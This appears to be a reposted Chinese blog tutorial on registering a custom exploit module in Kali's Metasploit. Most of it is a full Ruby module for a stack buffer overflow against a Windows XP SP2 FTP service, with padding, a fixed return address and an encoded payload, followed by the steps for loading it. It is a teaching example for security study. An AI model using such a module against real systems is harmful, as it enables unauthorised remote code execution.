给kali的Metasploit下添加一个新的exploit

来源:互联网 发布:高性能php架构 编辑:程序博客网 时间:2024/05/17 09:15

  • 注意头文件 class Metasploit3 <


class MetasploitModule < Msf::Exploit::Remote



  • 首先在/usr/share/metasploit-framework/modules/exploits/目录下新建一个自定义文件夹,例如fwdtest


  • 仿造exploits目录下的其他exp(rb文件)编写自己的exp.rb脚本(这边用0day安全:软件漏洞分析技术里的一个栗子)
[cpp] view plain copy 在CODE上查看代码片派生到我的代码片
  1. root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest# ls  
  2. 0day1.rb  
  3. root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest# cat 0day1.rb  
  4. ##  
  5. # This module requires Metasploit: http//metasploit.com/download  
  6. # Current source: https://github.com/rapid7/metasploit-framework  
  7. ##  
  8. require 'msf/core'  
  9. class Metasploit3 < Msf::Exploit::Remote  
  10.   include Msf::Exploit::Remote::Ftp  
  11.   def initialize(info = {})  
  12.     super(update_info(info,  
  13.       'Name'           => 'security test',  
  14.       'Description'    => %q{  
  15.           This module exploits a buffer overflow.  
  16.       },  
  17.       'Author'         => 'fwd',  
  18.       'License'        => MSF_LICENSE,  
  19.       'Privileged'     => true,  
  20.       'Payload'        =>  
  21.         {  
  22.           'Space'    => 300,  
  23.           'BadChars' => "\x00",  
  24.         },  
  25.       'Platform'          => 'win',  
  26.       'Targets'        =>  
  27.         [  
  28.           [ 'Windows XP Pro SP2 English',           { 'Ret' => 0x7c809f83 } ],  
  29.         ]))  
  30.   end  
  31.   
  32.   def exploit  
  33.     connect  
  34.     attack_buf =  'a'*200  
  35.     attack_buf += [target.ret].pack('V')  
  36.     attack_buf += payload.encoded  
  37.     sock.put(attack_buf)  
  38.     handler  
  39.     disconnect  
  40.   end  
  41. end  
  42. root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest#   
  • 在控制台下启动metasploit


  • 在msf提示符下输入reload_all重新加载所有模块


  • 在msf提示符下输入use exploit/fwdtest/exp(输入的时候可以用tab补全,如果不能补全说明就有问题)
0 0
原创粉丝点击